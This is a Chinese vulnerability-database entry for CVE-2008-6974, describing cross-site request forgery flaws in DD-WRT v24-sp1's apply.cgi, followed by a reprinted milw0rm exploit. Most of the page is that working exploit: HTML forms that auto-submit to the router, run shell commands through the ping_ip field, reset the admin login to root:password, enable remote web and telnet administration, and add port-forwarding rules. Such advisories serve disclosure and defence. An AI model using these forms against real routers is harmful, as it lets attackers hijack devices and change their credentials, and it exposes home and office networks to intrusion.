DD-WRT 'apply.cgi'多个跨站请求伪造漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1116973 漏洞类型 跨站请求伪造
发布时间 2008-12-08 更新时间 2009-08-14
CVE编号 CVE-2008-6974 CNNVD-ID CNNVD-200908-175
漏洞平台 Hardware CVSS评分 6.8
|漏洞来源
https://www.exploit-db.com/exploits/7389
https://www.securityfocus.com/bid/84479
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200908-175
|漏洞详情
DD-WRT24sp1以及之前的版本中的apply.cgi存在多个跨站请求伪造漏洞。远程攻击者可以劫持管理员身份认证对以下的请求:(1)借助ping_ip参数执行任意指令;(2)借助http_username和http_passwd参数更改管理信任凭证;(3)借助remote_management参数激活远程管理;或(4)借助from,to,ip,和pro参数配置端口内部捷传。
|漏洞EXP
Remote root dd-wrt
--------------------------------------------------------------------------------

Written by Michael Brooks
Special thanks to str0ke

Exploits tested on the newist stable version:
Firmware: DD-WRT v24-sp1 (07/27/08) micro
Product Homepage:
http://dd-wrt.com/

Impact:
1)Remote root command execuiton /bin/sh
2)Change web administration password and enable remote admistration
3)create new Port Forwarding rules to byass NAT.

<html>
	<head>
		<meta http-equiv="content-type" content="text/html; charset=ISO-8859-1">
	</head>
	Remote root command execution /bin/sh
	<form method="post" action="http://192.168.1.1/apply.cgi" id=1>
		<input name="submit_button" value="Ping" type="hidden">
		<input name="action" value="ApplyTake" type="hidden">
		<input name="submit_type" value="start" type="hidden">
		<input name="change_action" value="gozila_cgi" type="hidden">
		<input name="next_page" value="Diagnostics.asp" type="hidden">
		<input name="ping_ip" value="echo owned">
		<input name="execute command" type="submit">
	</form><br><br>	
	enable remote administration and change login to root:password
	<form method="post" action="http://192.168.1.1/apply.cgi">
		<input name="submit_button" value="Management" type="hidden">
		<input name="action" value="ApplyTake" type="hidden">
		<input name="change_action" value="" type="hidden">
		<input name="submit_type" value="" type="hidden">
		<input name="commit" value="1" type="hidden">
		<input name="PasswdModify" value="0" type="hidden">
		<input name="remote_mgt_https" value="" type="hidden">
		<input name="http_enable" value="1" type="hidden">
		<input name="info_passwd" value="0" type="hidden">
		<input name="https_enable" value="" type="hidden">
		<input name="http_username" value="root" type="hidden">
		<input name="http_passwd" value="password" type="hidden">
		<input name="http_passwdConfirm" value="password" type="hidden">
		<input name="_http_enable" value="1" type="hidden">
		<input name="refresh_time" value="3" type="hidden">
		<input name="status_auth" value="1" type="hidden">
		<input name="maskmac" value="1" type="hidden">
		<input name="remote_management" value="1" type="hidden">
		<input name="http_wanport" value="8080" type="hidden">
		<input name="remote_mgt_telnet" value="1" type="hidden">
		<input name="telnet_wanport" value="23" type="hidden">
		<input name="boot_wait" value="on" type="hidden">
		<input name="cron_enable" value="1" type="hidden">
		<input name="cron_jobs" value="" type="hidden">
		<input name="loopback_enable" value="1" type="hidden">
		<input name="nas_enable" value="1" type="hidden">
		<input name="resetbutton_enable" value="1" type="hidden">
		<input name="zebra_enable" value="1" type="hidden">
		<input name="ip_conntrack_max" value="512" type="hidden">
		<input name="ip_conntrack_tcp_timeouts" value="3600" type="hidden">
		<input name="ip_conntrack_udp_timeouts" value="120" type="hidden">
		<input name="overclocking" value="200" type="hidden">
		<input name="router_style" value="yellow" type="hidden">
		<input name="Remote Admin" type="submit">
	</form><br><br>
	Change Port Forwarding to byass NAT protection.
	<form method="post" action="http://192.168.1.1/apply.cgi">	
		<input name="submit_button" value="Change Port Forwarding" type="submit">
		<input name="action" value="ApplyTake" type="hidden">
		<input name="change_action" value="" type="hidden">
		<input name="submit_type" value="" type="hidden">
		<input name="forward_spec" value="13" type="hidden">
		<input name="name0" value="Hacked" type="hidden">
		<input name="from0" value="4450" type="hidden">
		<input name="pro0" value="both" type="hidden">
		<input name="ip0" value="192.168.1.100" type="hidden">
		<input name="to0" value="445" type="hidden">
		<input name="enable0" value="on" type="hidden">
		<input name="name1" value="Hacked Again" type="hidden">
		<input name="from1" value="22" type="hidden">
		<input name="pro1" value="tcp" type="hidden">
		<input name="ip1" value="192.168.1.101" type="hidden">
		<input name="to1" value="22" type="hidden">
		<input name="enable1" value="on" type="hidden">
	</form>
</html>
<script>
	document.getElementById(1).submit();//remote root command execution!
</script>

# milw0rm.com [2008-12-08]
|受影响的产品
DD-WRT Dd-Wrt 24 Sp1
|参考资料

来源:BUGTRAQ
名称:20081211Re:MultipleXSRFinDD-WRT(RemoteRootCommandExecution)
链接:http://www.securityfocus.com/archive/1/499135
来源:BUGTRAQ
名称:20081211Re:MultipleXSRFinDD-WRT(RemoteRootCommandExecution)
链接:http://www.securityfocus.com/archive/1/499132
来源:BUGTRAQ
名称:20081210Re:MultipleXSRFinDD-WRT(RemoteRootCommandExecution)
链接:http://www.securityfocus.com/archive/1/499119
来源:BUGTRAQ
名称:20081208MultipleXSRFinDD-WRT(RemoteRootCommandExecution)
链接:http://www.securityfocus.com/archive/1/499024
来源:MILW0RM
名称:9209
链接:http://www.milw0rm.com/exploits/9209
来源:MISC
链接:http://www.dd-wrt.com/phpBB2/viewtopic.php?t=55173